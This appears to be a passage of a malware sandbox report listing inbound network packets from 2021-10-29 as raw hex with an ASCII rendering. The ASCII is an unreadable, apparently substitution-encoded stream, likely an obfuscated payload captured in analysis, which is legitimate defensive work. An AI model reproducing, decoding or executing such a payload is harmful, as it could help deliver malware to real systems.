2021-10-29 15:55:28 UTC	1284	IN	Data Raw: 20 50 4c 57 20 57 57 20 57 4f 20 4c 42 20 55 6b 20 7a 50 20 50 6b 55 20 50 50 73 20 57 73 20 4c 7a 20 73 42 20 42 55 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 4c 20 50 50 7a 20 73 42 20 6c 6b 20 57 6b 20 57 4f 20 55 4f 20 50 73 50 20 50 50 55 20 50 50 55 20 73 57 4c 20 4c 6c 20 4f 7a 20 57 6b 20 4f 57 20 50 50 4c 20 50 6b 6b 20 7a 57 20 4c 7a 20 57 73 20 50 50 73 20 50 73 57 20 73 42 20 42 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 6b 6c 20 7a 57 20 4c 6c 20 4c 55 20 73 42 20 42 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 6b 6c 20 7a 57 20 4f 73 20 57 73 20 50 7a 7a 20 55 57 20 50 73 4f 20 57 20 50 50 6c 20 50 6b 55 20 50 73 73 20 50 4f 4f 20 73 50 20 4f 4c 20 57 6b 20 73 4f 42 20 55 6b 20 7a 6b 20 50 6b 55 20 50 50 73 20 57 73 20 42 6b 20 4f 7a 20 57 4c 20 Data Ascii: PLW WW WO LB Uk zP PkU PPs Ws Lz sB BU zO PPO Psl PkL PPz sB lk Wk WO UO PsP PPU PPU sWL Ll Oz Wk OW PPL Pkk zW Lz Ws PPs PsW sB BW zO PPO Psl skl zW Ll LU sB BW zO PPO Psl skl zW Os Ws Pzz UW PsO W PPl PkU Pss POO sP OL Wk sOB Uk zk PkU PPs Ws Bk Oz WL
2021-10-29 15:55:28 UTC	1286	IN	Data Raw: 50 50 50 20 50 50 6c 20 50 6b 55 20 50 50 73 20 4c 4c 20 4f 7a 20 57 6b 20 4c 55 20 7a 42 20 55 4f 20 50 50 4c 20 50 50 50 20 73 57 4f 20 4c 50 20 57 73 20 4c 7a 20 42 6b 20 50 4c 7a 20 55 7a 20 50 50 55 20 50 6b 57 20 50 50 57 20 73 42 20 6c 4f 20 57 6b 20 57 4f 20 55 4f 20 50 73 6b 20 50 6c 50 20 50 6b 4f 20 7a 42 20 4c 7a 20 57 7a 20 73 4c 42 20 57 4f 20 7a 73 20 7a 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 50 20 4c 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 6b 73 20 4c 42 20 4f 7a 20 57 57 20 57 6c 20 7a 4f 20 50 50 4f 20 50 50 42 20 50 73 42 20 42 4f 20 4f 55 20 4f 7a 20 4c 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 6b 73 20 50 6b 55 20 50 50 73 20 4c 57 20 42 6c 20 6c 4c 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4c 20 50 6c 20 Data Ascii: PPP PPl PkU PPs LL Oz Wk LU zB UO PPL PPP sWO LP Ws Lz Bk PLz Uz PPU PkW PPW sB lO Wk WO UO Psk PlP PkO zB Lz Wz sLB WO zs zz PPl PkU PPs WP Ls Wk WO zO PPO PPl PkU Pks LB Oz WW Wl zO PPO PPB PsB BO OU Oz Lk WO zO PPO Pks PkU PPs LW Bl lL WO zO Psk UL Pl
2021-10-29 15:55:28 UTC	1287	IN	Data Raw: 55 4c 20 50 4c 20 50 50 73 20 57 6b 20 57 7a 20 4f 7a 20 7a 55 20 57 4c 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 6b 20 57 6b 20 4f 7a 20 4f 50 20 42 20 7a 42 20 50 50 4f 20 55 4f 20 50 6b 55 20 50 50 73 20 57 6b 20 57 4f 20 57 6b 20 57 4f 20 42 55 20 50 50 73 20 55 4c 20 7a 50 20 50 50 73 20 57 6b 20 57 7a 20 4c 6b 20 42 73 20 4f 73 20 50 6b 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 42 20 73 4c 7a 20 4f 4c 20 57 73 20 50 73 4f 20 7a 55 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 4f 55 20 73 4f 20 73 4f 20 57 4f 20 7a 4f 20 50 50 42 20 55 4c 20 6c 6b 20 50 50 73 20 57 6b 20 57 4f 20 57 42 20 73 4c 73 20 7a 50 20 7a 4f 20 50 50 55 20 50 6b 4c 20 50 6c 4f 20 57 6b 20 57 4f 20 73 4f 20 57 4f 20 7a 57 20 55 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f Data Ascii: UL PL PPs Wk Wz Oz zU WL PPO PPl PkL Uk Wk Oz OP B zB PPO UO PkU PPs Wk WO Wk WO BU PPs UL zP PPs Wk Wz Lk Bs Os Pkz PPl PkU Pss WB sLz OL Ws PsO zU PPl PkU PPz OU sO sO WO zO PPB UL lk PPs Wk WO WB sLs zP zO PPU PkL PlO Wk WO sO WO zW Uz PPl PkU PPs Wk O
2021-10-29 15:55:28 UTC	1288	IN	Data Raw: 20 4c 57 20 50 50 7a 20 50 50 50 20 50 50 20 4f 7a 20 4f 7a 20 57 6b 20 57 6b 20 57 55 20 50 50 4c 20 50 50 42 20 50 6b 55 20 50 50 7a 20 55 55 20 4c 55 20 57 42 20 73 4c 73 20 7a 7a 20 7a 4f 20 50 50 7a 20 4c 6b 20 73 6c 20 57 50 20 4f 7a 20 57 73 20 50 6b 4c 20 42 42 20 50 73 6b 20 50 6c 50 20 50 6b 55 20 50 50 7a 20 73 4f 20 4f 7a 20 57 6b 20 57 57 20 42 7a 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 4f 73 20 4f 42 20 7a 4f 20 50 73 42 20 50 73 73 20 50 6b 55 20 50 50 73 20 57 50 20 4f 4c 20 73 20 57 73 20 7a 4f 20 50 6b 6b 20 50 50 6c 20 50 6b 55 20 50 50 73 20 4f 42 20 4f 7a 20 57 6b 20 4c 55 20 7a 42 20 55 20 50 50 55 20 50 6b 55 20 50 50 73 20 57 4f 20 57 50 20 55 4c 20 57 50 20 7a 57 20 50 50 4f 20 50 50 57 20 50 6b 4c 20 Data Ascii: LW PPz PPP PP Oz Oz Wk Wk WU PPL PPB PkU PPz UU LU WB sLs zz zO PPz Lk sl WP Oz Ws PkL BB Psk PlP PkU PPz sO Oz Wk WW Bz PPO PPl PkU PPs Wk Oz Os OB zO PsB Pss PkU PPs WP OL s Ws zO Pkk PPl PkU PPs OB Oz Wk LU zB U PPU PkU PPs WO WP UL WP zW PPO PPW PkL
2021-10-29 15:55:28 UTC	1290	IN	Data Raw: 57 4f 20 7a 4f 20 50 50 4f 20 50 73 73 20 55 7a 20 50 50 73 20 57 57 20 42 4c 20 57 6b 20 57 4f 20 7a 57 20 50 6b 57 20 42 55 20 50 50 50 20 50 50 73 20 4c 42 20 4f 7a 20 57 6b 20 57 4f 20 6c 73 20 50 50 4f 20 50 50 6c 20 50 73 4f 20 50 50 4f 20 6c 4c 20 57 6b 20 57 6b 20 57 4f 20 7a 6b 20 50 50 4c 20 73 42 20 50 6b 73 20 50 50 4c 20 57 6b 20 57 4f 20 57 42 20 73 4c 73 20 7a 50 20 7a 4f 20 55 55 20 50 6b 4c 20 50 6c 4f 20 57 6b 20 57 4f 20 73 4f 20 57 4f 20 7a 4f 20 50 50 57 20 50 6b 50 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 55 50 20 50 73 57 20 50 50 6c 20 50 6b 4f 20 50 73 6c 20 57 6b 20 4f 7a 20 57 50 20 4f 57 20 50 6b 6b 20 50 50 73 20 50 50 6c 20 50 73 4c 20 50 50 73 20 57 6b 20 4f 7a 20 4f 42 20 57 4f 20 7a 4f 20 55 55 20 50 Data Ascii: WO zO PPO Pss Uz PPs WW BL Wk WO zW PkW BU PPP PPs LB Oz Wk WO ls PPO PPl PsO PPO lL Wk Wk WO zk PPL sB Pks PPL Wk WO WB sLs zP zO UU PkL PlO Wk WO sO WO zO PPW PkP PkU PPs Wk Oz Wk WO UP PsW PPl PkO Psl Wk Oz WP OW Pkk PPs PPl PsL PPs Wk Oz OB WO zO UU P
2021-10-29 15:55:28 UTC	1291	IN	Data Raw: 57 4f 20 42 42 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 6b 7a 20 57 6b 20 4f 7a 20 4c 57 20 57 73 20 4f 6c 20 50 50 73 20 50 50 6c 20 50 6b 55 20 50 50 42 20 4f 55 20 55 57 20 4c 7a 20 57 57 20 7a 4f 20 50 50 42 20 50 73 6c 20 50 6c 55 20 50 50 6c 20 73 6b 20 4c 7a 20 57 42 20 73 4c 73 20 7a 4f 20 50 50 42 20 55 57 20 50 6b 55 20 50 50 73 20 57 50 20 4c 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 73 6c 20 42 50 20 4f 7a 20 57 57 20 57 6c 20 7a 4f 20 50 50 4f 20 50 50 42 20 50 50 7a 20 42 4f 20 4f 7a 20 4f 7a 20 4c 42 20 57 4f 20 7a 4f 20 50 50 4f 20 50 6b 57 20 50 6b 55 20 50 50 73 20 4c 57 20 57 6b 20 6c 4c 20 57 73 20 7a 4f 20 50 50 4f 20 50 50 4c 20 50 50 6b 20 4c 50 20 42 50 20 4f 55 20 57 6b 20 4f 7a 20 55 4f 20 50 6c 73 Data Ascii: WO BB PPO PPl PkU Pkz Wk Oz LW Ws Ol PPs PPl PkU PPB OU UW Lz WW zO PPB Psl PlU PPl sk Lz WB sLs zO PPB UW PkU PPs WP Ls Wk WO zO PPO PPl PkU Psl BP Oz WW Wl zO PPO PPB PPz BO Oz Oz LB WO zO PPO PkW PkU PPs LW Wk lL Ws zO PPO PPL PPk LP BP OU Wk Oz UO Pls
2021-10-29 15:55:28 UTC	1292	IN	Data Raw: 20 57 6b 20 57 6b 20 50 73 6b 20 6c 7a 20 50 50 55 20 73 73 20 50 50 4f 20 57 6b 20 4f 7a 20 57 4f 20 42 6c 20 73 50 57 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 4c 50 20 57 50 20 73 6b 20 73 55 20 7a 50 20 73 55 20 73 4c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 57 6b 20 6c 4c 20 57 73 20 7a 4f 20 50 50 4f 20 50 50 4c 20 73 4f 20 73 4f 4c 20 57 6b 20 4f 7a 20 57 50 20 50 55 20 50 73 50 20 50 50 4c 20 7a 4c 20 6c 6b 20 50 50 6c 20 55 4c 20 50 42 55 20 57 6b 20 57 4f 20 55 4f 20 50 50 73 20 50 4f 20 50 50 6b 20 50 50 73 20 57 6b 20 57 73 20 73 4c 20 73 6c 20 7a 42 20 7a 4f 20 55 57 20 42 55 20 73 4c 4f 20 57 6b 20 4f 7a 20 57 42 20 73 7a 20 6c 7a 20 55 6b 20 42 73 20 50 6b 55 20 50 50 73 20 57 73 20 73 42 20 57 6b 20 4f 57 20 50 6b 6b 20 50 50 55 20 50 Data Ascii: Wk Wk Psk lz PPU ss PPO Wk Oz WO Bl sPW PPO PPl Pkz zW LP WP sk sU zP sU sLl PkU PPs WB Wk lL Ws zO PPO PPL sO sOL Wk Oz WP PU PsP PPL zL lk PPl UL PBU Wk WO UO PPs PO PPk PPs Wk Ws sL sl zB zO UW BU sLO Wk Oz WB sz lz Uk Bs PkU PPs Ws sB Wk OW Pkk PPU P
2021-10-29 15:55:28 UTC	1294	IN	Data Raw: 6b 20 4f 7a 20 50 73 6c 20 50 6b 42 20 50 50 57 20 73 20 42 4f 20 57 6b 20 4f 7a 20 57 73 20 73 6c 20 7a 73 20 50 20 73 50 4c 20 50 6b 55 20 50 50 73 20 57 42 20 6c 4f 20 50 7a 20 73 73 73 20 7a 6c 20 50 50 4f 20 50 50 6c 20 42 55 20 73 4c 55 20 57 6b 20 4f 7a 20 57 42 20 4f 7a 20 42 55 20 50 50 55 20 50 6b 4c 20 50 6b 6c 20 4c 50 20 50 50 42 20 4f 7a 20 57 6b 20 4f 7a 20 50 73 6b 20 50 6c 4f 20 50 73 4f 20 4c 6b 20 50 7a 6b 20 57 6b 20 4f 7a 20 57 73 20 4c 55 20 7a 73 20 55 6b 20 50 6c 55 20 50 6b 55 20 50 50 73 20 57 73 20 55 57 20 50 4f 6c 20 57 4f 20 7a 4f 20 50 73 6b 20 50 6b 73 20 50 6b 73 20 55 50 20 73 55 20 4c 4f 20 57 6c 20 4c 6b 20 73 4f 42 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 55 20 42 73 20 73 6c 20 4f 73 20 4f 7a 20 57 55 20 42 42 20 50 Data Ascii: k Oz Psl PkB PPW s BO Wk Oz Ws sl zs P sPL PkU PPs WB lO Pz sss zl PPO PPl BU sLU Wk Oz WB Oz BU PPU PkL Pkl LP PPB Oz Wk Oz Psk PlO PsO Lk Pzk Wk Oz Ws LU zs Uk PlU PkU PPs Ws UW POl WO zO Psk Pks Pks UP sU LO Wl Lk sOB PPO PPl PkL UU Bs sl Os Oz WU BB P
2021-10-29 15:55:28 UTC	1295	IN	Data Raw: 6b 55 20 50 50 73 20 57 73 20 50 4f 42 20 73 4c 20 4f 73 20 42 4f 20 50 4f 6b 20 50 50 57 20 57 6b 20 50 50 73 20 57 6b 20 57 4f 20 42 57 20 50 7a 4c 20 7a 4f 20 50 50 4f 20 50 50 57 20 73 6b 6c 20 7a 57 20 4f 6c 20 4c 42 20 73 6b 4f 20 4f 7a 20 57 73 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 20 50 6c 55 20 4f 7a 20 57 6b 20 4f 7a 20 73 4f 42 20 7a 6c 20 50 6b 6c 20 50 73 50 20 50 4f 73 20 57 73 20 7a 50 20 57 6b 20 57 4f 20 7a 73 20 50 20 73 4f 4f 20 50 6b 55 20 50 50 73 20 57 73 20 50 4f 42 20 73 4c 20 4f 50 20 55 4c 20 50 6b 73 20 50 4c 55 20 50 6b 6c 20 50 7a 20 57 6b 20 4f 7a 20 57 73 20 42 55 20 73 50 4c 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 73 50 6b 20 73 4c 20 4f 6c 20 57 42 20 4c 4f 20 50 6c 6b 20 50 50 42 20 73 73 20 50 6b 55 20 50 50 73 20 57 Data Ascii: kU PPs Ws POB sL Os BO POk PPW Wk PPs Wk WO BW PzL zO PPO PPW skl zW Ol LB skO Oz Ws PPO PPl Pkl L PlU Oz Wk Oz sOB zl Pkl PsP POs Ws zP Wk WO zs P sOO PkU PPs Ws POB sL OP UL Pks PLU Pkl Pz Wk Oz Ws BU sPL PPO PPl Pkl sPk sL Ol WB LO Plk PPB ss PkU PPs W
2021-10-29 15:55:28 UTC	1296	IN	Data Raw: 20 50 55 20 4c 55 20 73 50 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 6c 55 20 57 50 20 57 4f 20 7a 73 20 7a 6c 20 42 20 50 55 42 20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 6c 6c 20 7a 57 20 50 50 4f 20 50 50 57 20 6c 73 20 4c 20 50 57 4f 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 73 57 50 20 50 50 42 20 50 6b 55 20 50 50 7a 20 73 4c 20 42 6c 20 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 73 42 20 73 4c 7a 20 50 50 4c 20 57 6b 20 57 4f 20 73 4c 20 42 55 20 73 57 73 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 50 7a 4c 20 4f 55 20 57 6b 20 4f 7a 20 50 50 4c 20 50 20 73 50 6b 20 50 6b 55 20 50 50 73 20 57 42 20 55 57 20 42 57 20 57 57 20 7a 4f 20 50 50 42 20 7a 6b 20 4c 6b 20 73 50 42 20 57 6b 20 4f 7a 20 57 42 20 7a 55 20 73 50 50 20 50 50 57 20 50 50 6c 20 Data Ascii: PU LU sPz PPl PkU Pss UL lU WP WO zs zl B PUB PPs Wk Wz UL ll zW PPO PPW ls L PWO Oz Wk Bk WU sWP PPB PkU PPz sL Bl O WO zO Psk sB sLz PPL Wk WO sL BU sWs PPO PPl PkL LP PzL OU Wk Oz PPL P sPk PkU PPs WB UW BW WW zO PPB zk Lk sPB Wk Oz WB zU sPP PPW PPl
2021-10-29 15:55:28 UTC	1298	IN	Data Raw: 20 6c 6b 20 50 73 4f 20 6c 57 20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 42 20 57 4f 20 73 42 20 50 57 4f 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 57 20 6c 6b 20 57 73 20 42 6c 20 7a 42 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4c 20 50 55 73 20 50 50 73 20 57 6b 20 57 7a 20 73 42 20 50 50 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 73 20 55 7a 20 57 50 20 4f 6c 20 73 6b 6c 20 4c 6b 20 73 4c 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a 20 50 57 42 20 4f 7a 20 57 6b 20 42 6b 20 50 73 6b 20 55 55 20 50 50 57 20 42 55 20 73 73 4c 20 57 6b 20 4f 7a 20 57 42 20 4f 7a 20 50 73 4f 20 50 55 4f 20 50 50 6c 20 50 6b 55 20 50 73 73 20 73 6b 20 4c 7a 20 42 73 20 73 4c 73 20 42 4f 20 50 6b 50 20 50 73 50 20 50 6c 55 20 55 42 20 57 73 20 73 4f 20 50 4c 6b 20 57 4f 20 7a 4f 20 Data Ascii: lk PsO lW PPl PkU Pss WB WO sB PWO zO PPO Psl BW lk Ws Bl zB WO zO Psk UL PUs PPs Wk Wz sB PPB zO PPO Psl Pks Uz WP Ol skl Lk sL PPO PPl PkL zz PWB Oz Wk Bk Psk UU PPW BU ssL Wk Oz WB Oz PsO PUO PPl PkU Pss sk Lz Bs sLs BO PkP PsP PlU UB Ws sO PLk WO zO
2021-10-29 15:55:28 UTC	1299	IN	Data Raw: 50 20 42 42 20 55 55 20 4c 50 20 73 4c 73 20 57 7a 20 4f 7a 20 42 42 20 4c 4f 20 50 4c 73 20 50 73 42 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 73 42 20 50 4c 42 20 57 6b 20 57 4f 20 55 4f 20 50 6b 50 20 73 4f 7a 20 73 73 4f 20 50 50 73 20 57 6b 20 4f 55 20 73 4c 20 4c 73 20 42 42 20 50 6b 73 20 55 4c 20 73 6b 55 20 50 50 73 20 57 6b 20 57 7a 20 50 4f 4f 20 4c 6b 20 73 4c 4c 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a 20 50 4f 6b 20 4f 7a 20 57 6b 20 42 6b 20 73 50 73 20 50 50 42 20 50 50 42 20 50 6b 55 20 50 50 42 20 6c 42 20 57 4f 20 57 50 20 57 4f 20 7a 6b 20 55 20 73 6b 73 20 50 6b 55 20 50 50 73 20 57 42 20 6c 7a 20 57 73 20 57 57 20 7a 4f 20 50 50 7a 20 55 4c 20 50 55 50 20 50 50 73 20 57 6b 20 57 4f 20 55 4c 20 73 4f 42 20 7a 4f 20 50 50 4f 20 50 73 Data Ascii: P BB UU LP sLs Wz Oz BB LO PLs PsB PPl PkU PPO sB PLB Wk WO UO PkP sOz ssO PPs Wk OU sL Ls BB Pks UL skU PPs Wk Wz POO Lk sLL PPO PPl PkL zz POk Oz Wk Bk sPs PPB PPB PkU PPB lB WO WP WO zk U sks PkU PPs WB lz Ws WW zO PPz UL PUP PPs Wk WO UL sOB zO PPO Ps
2021-10-29 15:55:28 UTC	1300	IN	Data Raw: 20 73 4f 20 50 7a 73 20 4f 7a 20 4c 6b 20 50 7a 4c 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 50 4f 20 4f 7a 20 57 6b 20 4f 7a 20 50 50 4c 20 50 6b 42 20 6c 6b 20 50 6b 50 20 50 50 4f 20 4f 55 20 57 73 20 73 42 20 50 6b 7a 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 50 42 20 42 6c 20 57 73 20 42 6c 20 50 57 4c 20 57 4f 20 7a 4f 20 50 73 6b 20 50 57 20 6c 50 20 50 55 7a 20 4f 7a 20 73 4f 20 73 50 50 20 57 4f 20 7a 4f 20 50 50 42 20 7a 6b 20 42 4f 20 50 50 42 20 73 6b 20 4c 42 20 73 57 20 57 50 20 50 73 4f 20 55 42 20 50 50 6c 20 50 6b 55 20 55 50 20 55 4c 20 6c 20 57 6b 20 57 4f 20 7a 73 20 7a 6c 20 50 6b 55 20 55 4f 20 50 73 6b 20 4f 7a 20 57 50 20 57 4f 20 4c 6b 20 50 57 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 50 6b 57 20 50 20 57 4f 20 42 57 20 50 57 6c Data Ascii: sO Pzs Oz Lk PzL PPO PPl Pkl LP PO Oz Wk Oz PPL PkB lk PkP PPO OU Ws sB Pkz zO PPO PPW PPB Bl Ws Bl PWL WO zO Psk PW lP PUz Oz sO sPP WO zO PPB zk BO PPB sk LB sW WP PsO UB PPl PkU UP UL l Wk WO zs zl PkU UO Psk Oz WP WO Lk PW PPO PPl Pkl PkW P WO BW PWl
2021-10-29 15:55:28 UTC	1302	IN	Data Raw: 6b 20 50 73 4f 20 50 6b 55 20 50 50 73 20 57 73 20 55 57 20 50 50 20 57 4f 20 7a 4f 20 50 50 42 20 7a 6b 20 50 50 6c 20 42 6c 20 57 7a 20 57 6b 20 4f 55 20 57 6b 20 50 73 4f 20 50 42 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 4f 4c 20 4c 20 57 73 20 42 55 20 73 57 57 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 50 6b 20 73 4f 20 4f 7a 20 4c 4c 20 42 20 7a 6b 20 50 50 4f 20 73 50 20 50 6b 55 20 50 50 73 20 57 6b 20 73 6b 20 57 6b 20 57 4f 20 42 55 20 50 50 4c 20 73 42 20 57 7a 20 50 50 4c 20 57 6b 20 57 4f 20 4c 6b 20 55 6c 20 4c 55 20 73 4c 50 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 57 42 20 57 4f 20 4f 55 20 7a 55 20 4f 55 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 4c 50 20 50 42 42 20 4f 7a 20 57 6b 20 4f 7a 20 6c 42 20 73 57 57 20 55 4f 20 50 6b 55 20 50 50 73 20 4f Data Ascii: k PsO PkU PPs Ws UW PP WO zO PPB zk PPl Bl Wz Wk OU Wk PsO PB PPl PkU PPz OL L Ws BU sWW PPO PPl PkL Pk sO Oz LL B zk PPO sP PkU PPs Wk sk Wk WO BU PPL sB Wz PPL Wk WO Lk Ul LU sLP PPl PkU PPz WB WO OU zU OU PPW PPl Pkl LP PBB Oz Wk Oz lB sWW UO PkU PPs O
2021-10-29 15:55:28 UTC	1303	IN	Data Raw: 6b 20 50 50 57 20 73 57 20 50 50 73 20 57 6b 20 57 4f 20 42 57 20 50 7a 4c 20 7a 4f 20 50 50 4f 20 50 50 57 20 73 6b 6c 20 7a 57 20 4f 4c 20 4c 42 20 73 6b 4f 20 4f 7a 20 4c 4c 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 20 50 6c 55 20 4f 7a 20 57 6b 20 4f 7a 20 73 4f 42 20 7a 6c 20 50 50 50 20 50 73 50 20 50 4f 73 20 57 73 20 6c 6b 20 57 6b 20 57 4f 20 7a 73 20 50 20 73 4f 4f 20 50 6b 55 20 50 50 73 20 57 73 20 50 4f 42 20 73 4c 20 4f 57 20 42 4f 20 50 4f 6b 20 50 50 57 20 73 42 20 50 50 73 20 57 6b 20 57 4f 20 42 57 20 50 7a 4c 20 7a 4f 20 50 50 4f 20 50 50 57 20 73 6b 6c 20 7a 57 20 4f 42 20 4c 42 20 73 6b 4f 20 4f 7a 20 4f 57 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 20 50 6c 55 20 4f 7a 20 57 6b 20 4f 7a 20 73 4f 42 20 7a 6c 20 50 6b 4f 20 50 73 50 20 Data Ascii: k PPW sW PPs Wk WO BW PzL zO PPO PPW skl zW OL LB skO Oz LL PPO PPl Pkl L PlU Oz Wk Oz sOB zl PPP PsP POs Ws lk Wk WO zs P sOO PkU PPs Ws POB sL OW BO POk PPW sB PPs Wk WO BW PzL zO PPO PPW skl zW OB LB skO Oz OW PPO PPl Pkl L PlU Oz Wk Oz sOB zl PkO PsP
2021-10-29 15:55:28 UTC	1304	IN	Data Raw: 50 50 73 20 4f 57 20 4f 7a 20 57 6b 20 4c 55 20 7a 6b 20 50 20 73 4f 55 20 50 6b 7a 20 50 50 73 20 57 73 20 73 50 20 42 57 20 50 4f 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 20 4c 50 20 57 50 20 4f 7a 20 57 73 20 50 55 20 4c 55 20 50 6b 6c 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 6c 50 20 57 50 20 57 4f 20 7a 73 20 7a 6c 20 42 20 55 50 20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 6c 55 20 7a 57 20 50 50 4f 20 50 50 57 20 6c 73 20 4c 20 50 57 4f 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 73 4f 55 20 50 50 42 20 50 6b 55 20 50 50 7a 20 73 4c 20 42 6c 20 50 57 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 73 42 20 50 7a 20 50 50 4c 20 57 6b 20 57 4f 20 73 4c 20 42 55 20 73 57 4c 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 6c 4c 20 4f 55 20 57 6b 20 4f 7a 20 50 50 Data Ascii: PPs OW Oz Wk LU zk P sOU Pkz PPs Ws sP BW POW zO PPO Psl s LP WP Oz Ws PU LU Pkl PPl PkU Pss UL lP WP WO zs zl B UP PPs Wk Wz UL lU zW PPO PPW ls L PWO Oz Wk Bk WU sOU PPB PkU PPz sL Bl PWO WO zO Psk sB Pz PPL Wk WO sL BU sWL PPO PPl PkL LP lL OU Wk Oz PP
2021-10-29 15:55:28 UTC	1306	IN	Data Raw: 7a 20 57 6b 20 73 73 20 7a 4f 20 50 50 4f 20 50 6b 6b 20 50 50 4f 20 50 6b 7a 20 73 42 20 55 7a 20 57 6b 20 57 4f 20 55 4f 20 6b 20 50 57 20 50 6b 50 20 50 50 73 20 42 42 20 73 4f 20 50 50 20 57 4f 20 7a 4f 20 50 73 6b 20 50 73 6c 20 50 6b 6c 20 7a 7a 20 50 57 7a 20 4f 7a 20 57 6b 20 42 6b 20 50 73 6b 20 42 7a 20 50 50 57 20 4c 6b 20 73 6b 20 57 6b 20 4f 7a 20 57 42 20 4c 6b 20 73 4f 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a 20 50 50 73 20 4f 7a 20 57 6b 20 42 6b 20 55 57 20 55 42 20 50 50 42 20 50 50 4f 20 50 4f 50 20 73 42 20 50 50 57 20 57 6b 20 57 4f 20 55 4f 20 55 6b 20 73 50 55 20 50 6b 55 20 50 50 73 20 57 42 20 73 7a 20 4c 57 20 4f 7a 20 50 73 4f 20 73 73 50 20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 73 20 73 4f 20 50 4c 6b 20 57 4f 20 7a 4f Data Ascii: z Wk ss zO PPO Pkk PPO Pkz sB Uz Wk WO UO k PW PkP PPs BB sO PP WO zO Psk Psl Pkl zz PWz Oz Wk Bk Psk Bz PPW Lk sk Wk Oz WB Lk sOU PPO PPl PkL zz PPs Oz Wk Bk UW UB PPB PPO POP sB PPW Wk WO UO Uk sPU PkU PPs WB sz LW Oz PsO ssP PPl PkU Pss Ws sO PLk WO zO
2021-10-29 15:55:28 UTC	1307	IN	Data Raw: 20 6c 42 20 57 7a 20 57 50 20 57 4f 20 7a 6b 20 50 73 20 50 73 4f 20 50 6b 7a 20 50 50 73 20 57 4f 20 73 55 20 73 20 4c 73 20 4c 7a 20 73 4c 4f 20 50 73 57 20 50 6b 55 20 6b 20 4c 7a 20 73 73 4f 20 42 4c 20 57 4f 20 7a 4f 20 50 50 73 20 55 4c 20 73 50 4c 20 50 50 73 20 57 6b 20 57 7a 20 4c 6c 20 50 7a 6c 20 73 50 6c 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 4c 42 20 4c 7a 20 4c 7a 20 4c 6b 20 73 4c 73 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 73 50 6b 20 73 42 20 50 4f 50 20 57 6b 20 57 4f 20 55 4f 20 55 6b 20 73 6b 4c 20 50 6b 55 20 50 50 73 20 57 42 20 50 6c 42 20 57 55 20 57 57 20 7a 4f 20 50 50 7a 20 50 50 20 50 6b 6b 20 50 50 4c 20 57 6b 20 57 73 20 6c 4c 20 50 4c 6c 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 55 20 50 73 50 20 57 50 20 4f 7a 20 57 4f Data Ascii: lB Wz WP WO zk Ps PsO Pkz PPs WO sU s Ls Lz sLO PsW PkU k Lz ssO BL WO zO PPs UL sPL PPs Wk Wz Ll Pzl sPl PPO PPl Pkz zW LB Lz Lz Lk sLs PPO PPl PkL sPk sB POP Wk WO UO Uk skL PkU PPs WB PlB WU WW zO PPz PP Pkk PPL Wk Ws lL PLl zO PPO Psl PU PsP WP Oz WO
